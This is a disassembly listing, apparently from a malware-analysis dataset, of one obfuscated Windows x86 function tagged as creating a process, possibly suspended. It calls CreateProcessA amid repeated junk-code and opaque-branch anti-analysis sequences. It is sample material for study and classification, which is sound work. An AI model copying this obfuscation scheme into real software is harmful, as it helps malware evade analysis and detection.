Function at 0x5d17d8
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
je 0x5d15db
jne 0x5d15db
arpl word [ebx + eax - 0x15], di
add esp, dword [ebx + 0x74]
sti
jl 0x5d15e0
jmp 0x5d15e2
je 0x5d15dd
pushf
push 0xa
jae 0x5d15ef
jmp 0x5d15ea
call 0x5d15f1
jae 0x5d15ea
add esp, 4
jmp 0x5d15f6
dec dword [esp]
jno 0x5d15fb
jns 0x5d15e6
jp 0x5d15ff
add esp, 4
popf
jmp 0x5d1606
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d161f
sbb ah, byte [ebx + 0x74]
add esi, dword [ebp + 1]
je 0x5d1624
jne 0x5d1624
call 0x101d4978
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d163e
jne 0x5d163d
call 0x836106c5
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5d164c
jne 0x5d164c
invalid
jl 0x5d1651
jmp 0x5d1653
je 0x5d164e
pushf
push 0xa
jae 0x5d1660
jmp 0x5d165b
call 0x5d1662
jae 0x5d165b
add esp, 4
jmp 0x5d1667
dec dword [esp]
jno 0x5d166c
jns 0x5d1657
jp 0x5d1670
add esp, 4
popf
jmp 0x5d1677
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d1690
in al, dx
invalid
je 0x5d1695
jne 0x5d1695
call 0x101d49e9
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d16af
jne 0x5d16ae
call 0x83610736
rol byte [ebx + eax*4], 0xf0
add eax, 0x6a446a
xor eax, 3
add eax, 4
xor eax, 5
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.005b2e70
add esp, 0xc
je 0x5d16cd
jne 0x5d16cd
sub al, 0x7c
add ebp, ebx
add ebp, dword [esp + esi*2]
sti
jl 0x5d16d2
jmp 0x5d16d4
je 0x5d16cf
pushf
push 0xa
jae 0x5d16e1
jmp 0x5d16dc
call 0x5d16e3
jae 0x5d16dc
add esp, 4
jmp 0x5d16e8
dec dword [esp]
jno 0x5d16ed
jns 0x5d16d8
jp 0x5d16f1
add esp, 4
popf
jmp 0x5d16f8
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d1711
shr dword [esp + esi*2], 3
je 0x5d1716
jne 0x5d1716
call 0x101d4a6a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d1730
jne 0x5d172f
call 0x836107b7
rol byte [ebx + eax*4], 0xf0
add eax, 0x4d89c933
in al, dx
xor eax, 3
add eax, 4
xor eax, 5
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
je 0x5d174c
jne 0x5d174c
invalid
jl 0x5d1751
jmp 0x5d1753
je 0x5d174e
pushf
push 0xa
jae 0x5d1760
jmp 0x5d175b
call 0x5d1762
jae 0x5d175b
add esp, 4
jmp 0x5d1767
dec dword [esp]
jno 0x5d176c
jns 0x5d1757
jp 0x5d1770
add esp, 4
popf
jmp 0x5d1777
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d1790
xchg esi, eax
invalid
je 0x5d1795
jne 0x5d1795
call 0x101d4ae9
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d17af
jne 0x5d17ae
call 0x83610836
rol byte [ebx + eax*4], 0xf0
add eax, 0xffe5f3e8
push dword [ebx + eax + 0x75]
add edx, esi
xor eax, 3
add eax, 4
xor eax, 5
call 0x5cfdb0
je 0x5d17c2
jne 0x5d17c2
bnd jl 0x5d17c7
jl 0x5d17c7
jmp 0x5d17c9
je 0x5d17c4
pushf
push 0xa
jae 0x5d17d6
jmp 0x5d17d1
call 0x5d17d8
jae 0x5d17d1
add esp, 4
jmp 0x5d17dd
dec dword [esp]
jno 0x5d17e2
jns 0x5d17cd
jp 0x5d17e6
add esp, 4
popf
jmp 0x5d17ed
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d1806
imul esi, edx, 0x74
add esi, dword [ebp + 1]
je 0x5d180b
jne 0x5d180b
call 0x101d4b5f
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d1825
jne 0x5d1824
call 0x836108ac
rol byte [ebx + eax*4], 0xf0
add eax, 0x52ec558d
xor eax, 3
add eax, 4
xor eax, 5
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
je 0x5d1855
jne 0x5d1855
out 0x7c, eax
add ebp, ebx
add esp, edi
jl 0x5d185a
jmp 0x5d185c
je 0x5d1857
pushf
push 0xa
jae 0x5d1869
jmp 0x5d1864
call 0x5d186b
jae 0x5d1864
add esp, 4
jmp 0x5d1870
dec dword [esp]
jno 0x5d1875
jns 0x5d1860
jp 0x5d1879
add esp, 4
popf
jmp 0x5d1880
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d1899
xchg ecx, eax
out 0x74, eax
add esi, dword [ebp + 1]
je 0x5d189e
jne 0x5d189e
call 0x101d4bf2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d18b8
jne 0x5d18b7
call 0x8361093f
rol byte [ebx + eax*4], 0xf0
add eax, 0xfc45c7
add byte [eax], al
add byte [eax + 1], bh
xor eax, 3
add eax, 4
xor eax, 5
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x5d1b04
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
je 0x5d18e3
jne 0x5d18e3
sar dword [ebx + eax - 0x15], 1
add edx, ecx
jl 0x5d18e8
jmp 0x5d18ea
je 0x5d18e5
pushf
push 0xa
jae 0x5d18f7
jmp 0x5d18f2
call 0x5d18f9
jae 0x5d18f2
add esp, 4
jmp 0x5d18fe
dec dword [esp]
jno 0x5d1903
jns 0x5d18ee
jp 0x5d1907
add esp, 4
popf
jmp 0x5d190e
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d1927
fst st(1)
je 0x5d192c
jne 0x5d192c
call 0x101d4c80
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d1946
jne 0x5d1945
call 0x836109cd
rol byte [ebx + eax*4], 0xf0
add eax, 0x52f4558b
xor eax, 3
add eax, 4
xor eax, 5
mov edx, dword [ebp - 0xc]
push edx
call fcn.005d37e0
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call fcn.005d37e0
add esp, 4
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.005d37e0
add esp, 4
je 0x5d1978
jne 0x5d1978
add byte [ebx + eax - 0x15], bh
add eax, dword [eax]
jl 0x5d197d
jmp 0x5d197f
je 0x5d197a
pushf
push 0xa
jae 0x5d198c
jmp 0x5d1987
call 0x5d198e
jae 0x5d1987
add esp, 4
jmp 0x5d1993
dec dword [esp]
jno 0x5d1998
jns 0x5d1983
jp 0x5d199c
add esp, 4
popf
jmp 0x5d19a3
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d19bc
pop esp
add byte [ebx + eax + 0x75], dh
add eax, ebp
je 0x5d19c1
jne 0x5d19c1
call 0x101d4d15
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d19db
jne 0x5d19da
call 0x83610a62
rol byte [ebx + eax*4], 0xf0
add eax, 0x52f4558b
xor eax, 3
add eax, 4
xor eax, 5
mov edx, dword [ebp - 0xc]
push edx
call fcn.005d37e0
add esp, 4
je 0x5d19f5
jne 0x5d19f5
arpl word [ebx + eax - 0x15], di
add esp, dword [ebx + 0x74]
sti
jl 0x5d19fa
jmp 0x5d19fc
je 0x5d19f7
pushf
push 0xa
jae 0x5d1a09
jmp 0x5d1a04
call 0x5d1a0b
jae 0x5d1a04
add esp, 4
jmp 0x5d1a10
xor eax, eax
mov esp, ebp
pop ebp
ret